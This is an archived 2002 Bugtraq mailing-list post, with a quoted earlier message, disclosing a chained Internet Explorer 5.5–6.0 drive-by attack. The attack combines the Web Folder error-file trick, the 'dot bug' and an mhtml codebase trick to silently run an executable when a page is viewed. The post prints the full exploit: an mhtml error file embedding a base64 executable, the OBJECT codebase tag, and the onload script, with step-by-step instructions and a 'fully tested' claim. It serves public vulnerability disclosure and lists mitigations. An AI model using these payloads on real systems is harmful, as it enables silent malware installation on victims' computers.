[<prev] [next>] [day] [month] [year] [list]
Message-ID: <200208160243.g7G2h4eJ024242@mail12.megamailservers.com>
From: http-equiv at malware.com (http-equiv@...ite.com)
Subject: Re: SILLY BEHAVIOR : Internet Explorer 5.5 - 6.0
Jelmer <jelmer@...erus.xs4all.nl> said:
> This allows for execution of arbitrary code see my winamp and ICQ
exploits
>
> http://kuperus.xs4all.nl/winamp.htm
>
> www.xs4all.nl/~jkuperus/icq/icq.htm
>
> I posted a message explaining how it works (and proofing winamp 3 is
> vulnerable aswell) but the fine bugtraq moderators chose to
moderate it out
> for no apperent reason
>
> --
> jelmer
Brilliant ! The culmination of yet another silent delivery and
installation of an executable on the target computer, no client input
other than viewing a web page.
This is precisely what happens when vendors poo poo small but
important "stepping stone" discoveries. They all ultimately add up
into one monster problem. Fortunately for this manufacturer, one key
component is to be addressed in the "ever" pending Internet Explorer
6 SP1.
Nevertheless for untold millions who'll probably never hear about
that, consider the following quality components added to our Silly
Behavior for full remote take over:
1. The Andreas Sandblad dot bug of May 19 2002 [MAY!]
2. The Jelmer ICQ and MSIE allow execution of arbitrary code of July
16 2002
3. The malware.com Silly Behavior of Internet Explorer browsers
The core components being as follows:
a) codebase="mhtml:file:///C:/Windows/temp/wecerr.txt!
file:///malware.exe
b) location=("file:///c:/windows/temp/wecerr.txt .")
What this all means is, we continue along with our Silly Behavior and
create our custom error message to be "served" by the server when we
are unable to locate our "web folder". That custom error message
now comprises both our html and our base64 encoding. Where it gets
particularly clever is utilising Jelmer's method as in a) above.
Specifically:
Our simple error 404 output created by the Silly Behavior of Internet
Explorer 5.5 and 6.0 now conveniently created as wecerr.txt in our
known location is comprised as follows:
<html style="display:none;">
From: <Saved by Microsoft Internet Explorer 5>
Subject:
Date: Thu, 15 Aug 2002 21:07:44 -0400
MIME-Version: 1.0
Content-Type: multipart/related;
boundary="----=_NextPart_000_0001_01C2449F.CD3FE240";
type="text/html"
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
This is a multi-part message in MIME format.
------=_NextPart_000_0001_01C2449F.CD3FE240
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Location: file:///malware.exe
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-
1252">
<META content="MSHTML 6.00.2716.2200" name=GENERATOR></HEAD>
<BODY><OBJECT NAME="X" CLASSID="CLSID:11111111-1111-1111-1111-
111111111111"
CODEBASE="mhtml:file:///C:/Windows/temp/wecerr.txt!
file:///malware.exe"></OBJECT>
</BODY></HTML>
------=_NextPart_000_0001_01C2449F.CD3FE240
Content-Type: application/x-msdownload
Content-Transfer-Encoding: base64
Content-Location: file:///malware.exe
TVpEAQUAAgAgACEA//91AAACAACZAAAAPgAAAAEA+zBqcgAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA
What this does is combine both our html file and our embedded
executable in one single file. Our object and its codebase point to
the embedded executable inside our file. As can be seen above.
We then take the Sandblad dot bug and point that to our wecerr.txt
like so:
<body onload=malware() style="behavior: url(#default#httpFolder);">
<script>
function malware(){
document.body.navigate("http://www.microsoft.com");alert
("malware");location=("file:///c:/windows/temp/wecerr.txt .")
}
</script>
The following happens:
1. We send our target to our web site with our Silly Behavior all set
up.
2. Immediately on viewing the web site, the Jelmer custom crafted
wecerr.txt comprised of our html and our base64 encoded executable is
deposited in our know location. The temp folder.
3. Immediately thereafter the Sandblad modified Silly Behavior script
with the dot bug automatically opens our weberr.txt in full html
splendour.
4. This is achieved because at the header of our wecerr.txt the
Jelmer custom tag: <html style="display:none;"> is placed. And in
typical fashion all contents thereafter are rendered as html. Thanks
to 3 above, the Sandblad dot bug and Internet Explorer's unique
capabilities.
5. Internet Explorer has now opened the wecerr.txt as html and inside
that our html object is fired:
<OBJECT NAME="X" CLASSID="CLSID:11111111-1111-1111-1111-111111111111"
CODEBASE="mhtml:file:///C:/Windows/temp/wecerr.txt!
file:///malware.exe"></OBJECT>
6. What that does is point back to itself, the wecerr.txt and render
the codebase as mthml where our executable is base64 encoded.
7. It "extracts" our malware.exe and executes it !
Brilliant ! Well done Jelmer and Sandblad.
Fully tested in win98 and Internet Explorer 6 with all of its
bandages.
Notes:
1. The manufacturer is expected to address the codebase file
execution in its "ever" pending SP1 for Internet Explorer 6. Internet
Explorer 5.5 and its problems are not known at this time.
2. The dot bug from May. Perhaps that too will be addressed in
the "ever" pending SP1 for Internet Explorer 6. Internet Explorer 5.5
and its problems are not known at this time.
3. Uninstall the "web folder" component. Add/remove, Internet
Explorer, remove components.
4. Disable Active Scripting.
5. Run !
full credit to: Jelmer http://kuperus.xs4all.nl/
Andreas Sandblad http://www.sandblad.com/
End Call
> ----- Original Message -----
> From: "http-equiv@...ite.com" <http-equiv@...ware.com>
> To: <bugtraq@...urityfocus.com>; <NTBugtraq@...tserv.ntbugtraq.com>
> Sent: Thursday, August 15, 2002 2:34 AM
> Subject: SILLY BEHAVIOR : Internet Explorer 5.5 - 6.0
>
>
> > Wednesday, August 14, 2002
> >
> > The following represents a trivial yet elaborate method of
injecting
> > arbitrary html into the "My Computer" zone on win98 using the
> > Internet Explorer series of browsers.
> >
> > Internet Explorer enjoys a unique component called the "Web
Folder"
> > component. This is a selectable component install with the
original
> > installation of the browser or can be added later on. This unique
> > component allows for an assortment of web publishing and authoring
> > conveniences, often touted as useful "feature".
> >
> > But what it actually does, is create a nicely named file for us
in a
> > known location.
> >
> > Where:
> >
> > The Internet Explorer series 5 through 6 enjoy a related behavior
to
> > the so-called "Web Folder" component which allows us to point
> > directly to one of these web folders and traverse it directly.
> > However, should the folder not exist, an error message is
generated
> > and conveniently placed for us in the temp folder:
> >
> > So:
> >
> > This particular error message is nothing more than a server side
404
> > error message which can be modified to suit our needs as we
require.
> >
> > Commence:
> >
> > We first construct our trivial behavior to generate the error
message
> > like so:
> >
> > <body onload=malware() style="behavior: url
(#default#httpFolder);">
> > <script>
> > function malware(){
> > document.body.navigate("http://www.microsoft.com");alert
> > ("malware");open("file://C%3A%5CWINDOWS%5CTemp%5Cwecerr.txt")
> > }
> > </script>>
> >
> > What this will do is "probe" the target site for a webfolder, and
if
> > not found, create our error file in the temp folder as follows:
> >
> > [screen shot: http://www.malware.com/behave.png 4KB]
> >
> > Because the error fie is nothing more than a text file, we need to
> > include our own html and allow Internet Explorer to 'read' it.
> > Previously numerous possibilities to allow for this existed,
> > including <object data="" type="text/html>, databinding with
> > dataformatas="HTML", dotting file extensions etc. These now all
> > appear to be patched.
> >
> > Good:
> >
> > But because we can craft our own error message on the server and
> > point our trivial behavior to it, we simply construct our error
> > message like so:
> >
> > MIME-Version: 1.0
> > Content-Type: text/html;
> > charset="Windows-1252"
> > Content-Transfer-Encoding: 7bit
> >
> > <br><br>
> > <body bgcolor=black>
> > <center><font size="24" color="red"
> > face="arial">malware</font></center>
> >
> > What that will do is generate our simple text file in our temp
> > folder, and by merely mhtml'izing our url like so: open
> > ("mhtml:file://C%3A%5CWINDOWS%5CTemp%5Cwecerr.txt"), Internet
> > Explorer will open our text file in full html splendor.
> >
> > Inclusive of whatever other "objects" we so desire.
> >
> > [screen shot: http://www.malware.com/your.png 8KB]
> >
> > Working Example:
> >
> > note: windows98 with temp folder default.
> > note: requires the 'web component'
> > note: simple text file only for demo purposes
> >
> > http://www.malware.com/behave.html
> >
> >
> > [screen shot: http://www.malware.com/self.png 12KB]
> >
> >
> > Notes:
> >
> > 1. None.
> >
> >
> >
> > End Call
> >
> >
> > --
> > http://www.malware.com
> >
> >
> >
> >
> >
> >
> > *yawn*
> >
> >
> >
> >
> >
> >
> >
>
>
--
http://www.malware.com
Powered by blists - more mailing lists